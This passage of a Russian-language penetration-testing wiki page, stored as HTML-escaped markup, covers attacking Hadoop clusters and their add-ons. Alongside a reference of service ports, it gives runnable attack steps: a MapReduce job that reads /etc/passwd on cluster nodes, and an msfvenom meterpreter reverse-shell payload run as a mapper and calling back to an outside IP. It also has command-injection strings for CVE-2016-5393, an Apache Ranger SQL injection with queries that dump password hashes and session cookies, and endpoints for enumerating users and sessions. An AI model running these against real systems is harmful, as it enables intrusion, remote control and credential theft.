Для этого требуется получить конфиг и настроить hadoop cli.&lt;br /&gt;
&lt;br /&gt;
path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar&lt;br /&gt;
&lt;br /&gt;
Создаем задачу MapReduce:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
 hadoop jar &amp;lt;path_to_hadoop_streaming.jar&amp;gt; \&lt;br /&gt;
-input /non_empty_file_on_HDFS \&lt;br /&gt;
-output /output_directory_on_HDFS \&lt;br /&gt;
-mapper &amp;quot;/bin/cat /etc/passwd&amp;quot; \&lt;br /&gt;
-reducer NONE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Читаем результат команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
hadoop fs –ls /output_directory_on_HDFS&lt;br /&gt;
hadoop fs –cat /output_directory_on_HDFS/part-00000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Также результат команды можно увидеть в WebUI в консоли созданной задачи.&lt;br /&gt;
&lt;br /&gt;
Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Бонус: эксплоит можно сгенерировать с msfvenom:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload&lt;br /&gt;
&lt;br /&gt;
hadoop jar &amp;lt;path_to_hadoop_streaming.jar&amp;gt;&lt;br /&gt;
-input /non_empty_file_on_HDFS \&lt;br /&gt;
-output /output_directory_on_HDFS \&lt;br /&gt;
-mapper &amp;quot;./msf.payload&amp;quot; \&lt;br /&gt;
-reducer NONE \&lt;br /&gt;
-file msf.payload \&lt;br /&gt;
-background&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE - CVE-2016-5393 ===&lt;br /&gt;
&lt;br /&gt;
'''Уязвимая версия:''' Hadoop 2.6.x &amp;lt; 2.6.5 and 2.7.x &amp;lt; 2.7.3&lt;br /&gt;
&lt;br /&gt;
'''Требования:''' должен быть авторизован и у кластера должны быть включены параметры &amp;quot;org.apache.hadoop.security.ShellBasedUnixGroupsMapping&amp;quot; и &amp;quot;hadoop.security.group.mapping&amp;quot; (конфиг core-site.xml) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в &amp;quot;bash -c&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
hdfs groups '$(ping 127.0.0.1)'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - через WebHDFS. Но для этого требуется &amp;quot;Simple Auth&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
.../?user.name=$(ping+127.0.0.1)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Hadoop%20components%20vulnerabilities/Hadoop%20Common/CVE-2016-5393%20-%20Authenticated%20command%20execution%20as%20the%20hdfs%20user&lt;br /&gt;
&lt;br /&gt;
= HDFS =&lt;br /&gt;
&lt;br /&gt;
HDFS (Hadoop FileSystem) - это виртуальная файловая система Hadoop, доступная по сети.&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== MasterNode (NameNode) WebUI ===&lt;br /&gt;
&lt;br /&gt;
Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.&lt;br /&gt;
&lt;br /&gt;
Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).&lt;br /&gt;
&lt;br /&gt;
=== MasterNode Metadata Service ===&lt;br /&gt;
&lt;br /&gt;
Использует протокол IPC  на  портах 8020 и 9000. Требуется для взаимодействия с метадатой файлов HDFS.&lt;br /&gt;
&lt;br /&gt;
Команды для взаимодействия:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получение списка файлов (и их метадаты)&lt;br /&gt;
hadoop fs -ls /tmp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DataNode WebUI ===&lt;br /&gt;
&lt;br /&gt;
Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.&lt;br /&gt;
&lt;br /&gt;
Доступно по пути /browseDirectory.jsp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== hdfsbrowser.py ====&lt;br /&gt;
Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# В скрипте также можно указать порт, протокол&lt;br /&gt;
python hdfsbrowser.py 10.10.10.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.&lt;br /&gt;
&lt;br /&gt;
==== hadoop cli ====&lt;br /&gt;
&lt;br /&gt;
Для получения списка файлов требуется в переменной окружения &amp;quot;HADOOP_USER_NAME&amp;quot; указать нужного пользователя, например, root или hbase:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
export HADOOP_USER_NAME=hbase&lt;br /&gt;
hadoop fs -ls /hbase&lt;br /&gt;
hadoop fs –cat /output_directory_on_HDFS/part-00000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для этого может потребоваться конфиг hadoop (в основной главе)&lt;br /&gt;
&lt;br /&gt;
=== DataNode Data Transfer ===&lt;br /&gt;
&lt;br /&gt;
Сервис для передачи данных в DataNode. Использует порт 50010&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Отправить файл на HDFS&lt;br /&gt;
hadoop fs -put &amp;lt;localfile&amp;gt; &amp;lt;remotedst&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DataNode Metadata Service ===&lt;br /&gt;
&lt;br /&gt;
Использует протокол IPC на порту 50020. Требуется для взаимодействия с метадатой файлов HDFS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Secondary Node Checkpoint Service (Secondary NameNode WebUI) ===&lt;br /&gt;
&lt;br /&gt;
Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).&lt;br /&gt;
&lt;br /&gt;
= YARN =&lt;br /&gt;
&lt;br /&gt;
== Интерфейсы (сервисы) ==&lt;br /&gt;
&lt;br /&gt;
=== Application Manager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8032 &lt;br /&gt;
&lt;br /&gt;
Протокол: http&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.address&lt;br /&gt;
&lt;br /&gt;
=== Scheduler ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8030&lt;br /&gt;
&lt;br /&gt;
Протокол: http&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.scheduler.address&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Web Application ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8088, 8090&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8088), https(8090)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.webapp.address, yarn.resourcemanager.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Tracker ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8031&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.resource-tracker.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Admin ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8033&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.admin.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager СontainerManager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 0&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.nodemanager.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Localizer ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8040&lt;br /&gt;
&lt;br /&gt;
Протокол: ??? (IPC)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.localizer.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Collector Service ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8048&lt;br /&gt;
&lt;br /&gt;
Протокол: ??? (IPC)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.collector-service.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8042, 8044&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8042), https(8044)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.webapp.address, yarn.nodemanager.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Timeline RPC ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 10200&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.timeline-service.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Timeline WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8188, 8190&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8188), https(8190)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.timeline-service.webapp.address, yarn.timeline-service.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Admin ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8047&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.admin.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8788&lt;br /&gt;
&lt;br /&gt;
Протокол: ???(http)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.webapp.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Node Manager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8046&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.uploader.server.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Client ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8045&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.sharedcache.client-server.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager AMRMProxyService ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8049&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.nodemanager.amrmproxy.address&lt;br /&gt;
&lt;br /&gt;
=== Router WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8089, 8091&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8089), https(8091)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== HttpFS (Hadoop HDFS over HTTP) ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 14000, 14001&lt;br /&gt;
&lt;br /&gt;
Протокол: http(14000), 14001(https)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
= Apache HBASE =&lt;br /&gt;
&lt;br /&gt;
= ZooKeeper =&lt;br /&gt;
&lt;br /&gt;
= Apache Ambari =&lt;br /&gt;
&lt;br /&gt;
Нужен для упрощения управления кластерами Hadoop, используя WebUI. Есть возможность интегрироваться с другими приложениями по REST API.&lt;br /&gt;
&lt;br /&gt;
Из интересного:&lt;br /&gt;
&lt;br /&gt;
- Все могут авторизоваться (даже стандартные юзеры)&lt;br /&gt;
&lt;br /&gt;
- Нет защиты (directory listing, no cookie flags, no CSRF)&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-1775 - /logs/ логи&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== WebUI ===&lt;br /&gt;
&lt;br /&gt;
Общение по протоколу http (порт 8080) и https (порт 8440). &lt;br /&gt;
&lt;br /&gt;
=== Registration/Heartbeat ===&lt;br /&gt;
&lt;br /&gt;
Общение по протоколу https на порту 8441.&lt;br /&gt;
&lt;br /&gt;
=== Agent ===&lt;br /&gt;
&lt;br /&gt;
Порт 8670/tcp используется для Ping.&lt;br /&gt;
&lt;br /&gt;
= Apache Spark =&lt;br /&gt;
&lt;br /&gt;
= Apache Kafka/Storm =&lt;br /&gt;
&lt;br /&gt;
= Apache HIVE / DRILL =&lt;br /&gt;
&lt;br /&gt;
= Mahout =&lt;br /&gt;
&lt;br /&gt;
= Apache Solr / Lucene = &lt;br /&gt;
&lt;br /&gt;
= Apache Ranger =&lt;br /&gt;
&lt;br /&gt;
Компонент безопасности Hadoop с открытым исходным кодом.&lt;br /&gt;
&lt;br /&gt;
Из интересного:&lt;br /&gt;
&lt;br /&gt;
- Поддержка Kerberos&lt;br /&gt;
&lt;br /&gt;
- REST API&lt;br /&gt;
&lt;br /&gt;
- Журналы аудита&lt;br /&gt;
&lt;br /&gt;
- Модель разрешений на основе политики доступа (политики, юзеры, группы)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Интересные ИБ-проблемы:&lt;br /&gt;
&lt;br /&gt;
- Slow HTTP DOS&lt;br /&gt;
&lt;br /&gt;
- Все юзеры могут авторизоваться в Ranger (но не все - выполнять действия)&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-0266 - Missing function level access control, можно использовать для повышения привилегий&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-0265 - XSS в UserAgent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO: изучить как работает&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://ranger.apache.org/apidocs/index.html - API документация&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Admin  WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 6080, 6182&lt;br /&gt;
&lt;br /&gt;
Протокол: http(6180),https(6182)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.service.http.port, ranger.service.https.port&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* Скачивание политик без аутентификации. Но нужно знать имя политики. (версия меньше или равна 0.5.2)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/service/plugins/policies/download/&amp;lt;policy_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/Unauthenticated%20policy%20download&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-2174 - SQL injection.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/service/plugins/policies/eventTime?eventTime=' or '1'='1&amp;amp;policyId=1&lt;br /&gt;
&lt;br /&gt;
# post-exploitation: скачать хеши паролей пользователей (md5 или sha512):&lt;br /&gt;
select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3&lt;br /&gt;
&lt;br /&gt;
# post-exploitation: скачать сессии(куки) пользователей):&lt;br /&gt;
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/CVE-2016-2174%20-%20Authenticated%20SQL%20injection&lt;br /&gt;
&lt;br /&gt;
===  UNIX Auth Service ===&lt;br /&gt;
&lt;br /&gt;
Порт: 5151&lt;br /&gt;
&lt;br /&gt;
Протокол: SSL/TCP&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.usersync.port&lt;br /&gt;
&lt;br /&gt;
===  Ranger KMS ===&lt;br /&gt;
&lt;br /&gt;
Порт: 9292, 9293&lt;br /&gt;
&lt;br /&gt;
Протокол: http(9292), https(9293)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.service.http.port, ranger.service.https.port&lt;br /&gt;
&lt;br /&gt;
=== Solr Audit ===&lt;br /&gt;
&lt;br /&gt;
Порт: 6083, 6183&lt;br /&gt;
&lt;br /&gt;
Протокол: http(6083), https(6183)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger-admin (???)&lt;br /&gt;
&lt;br /&gt;
= OOZIE =&lt;br /&gt;
&lt;br /&gt;
Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Web Console ===&lt;br /&gt;
&lt;br /&gt;
Порт: 11000, 11443&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP(11000), HTTPS(11443)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Admin service ===&lt;br /&gt;
&lt;br /&gt;
Порт: 11001&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
= PIG =&lt;br /&gt;
&lt;br /&gt;
= Apache Hue =&lt;br /&gt;
&lt;br /&gt;
Облачный редактор SQL с открытым исходным кодом. Упоминается тут тк часто используется вместе с Hadoop. Использует порт 8888 по протоколу HTTP. &lt;br /&gt;
&lt;br /&gt;
В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.&lt;br /&gt;
&lt;br /&gt;
= MapReduce =&lt;br /&gt;
&lt;br /&gt;
Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory ===&lt;br /&gt;
&lt;br /&gt;
Порт: 10020&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.address&lt;br /&gt;
&lt;br /&gt;
=== JobTracker ===&lt;br /&gt;
&lt;br /&gt;
Порт: 8021&lt;br /&gt;
&lt;br /&gt;
Протокол: IPC&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.job.tracker&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== JobTracker WebUI v1 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 50030&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.job.tracker.http.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory WebUI v2 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 19888, 19890&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP(19888), HTTPS(19890)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
Доступен только в MapReduce v2&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory Shufflee ===&lt;br /&gt;
&lt;br /&gt;
Порт: 13562&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.shuffle.port&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory Shufflee WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 19890&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTPS&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== TaskTracker WebUI v1 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 50060&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.task.tracker.http.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== History Server WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 51111&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.history.server.http.address&lt;br /&gt;
&lt;br /&gt;
= Cloudera =&lt;br /&gt;
&lt;br /&gt;
Экосистема Hadoop от компании Cloudera&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== HUE ===&lt;br /&gt;
&lt;br /&gt;
Работает на порту 8888 по протоколу HTTP.&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4947 - вычисление пользователей из непривилегированного аккаунта (версия меньше или равна 3.9.0):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/desktop/api/users/autocomplete&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4946 - хранимая XSS (версия меньше или равна 3.9.0). Находится во вкладке Hue Users - Edit user в полях First name и Last name.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Open redirect (версия меньше или равна 3.9.0).&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/accounts/login/?next=//[domain_name]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Manager ===&lt;br /&gt;
&lt;br /&gt;
Работает на порту 7180(http) и 7183(https).&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* Получение списка пользователей (версия меньше или равна 5.5)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/api/v1/users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Вычисление пользовательских сессий из непривилегированного аккаунта (CVE-2016-4950) (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/api/v1/users/sessions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Доступ к логам процесса(process_id можно перебрать) (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/cmf/process/&amp;lt;process_id&amp;gt;/logs?filename={stderr,stdout}.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4948 - Stored XSS  (версия меньше или равна 5.5)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4948 - Reflected XSS (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/cmf/cloudera-director/redirect?classicWizard=[XSS]&amp;amp;clusterid=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
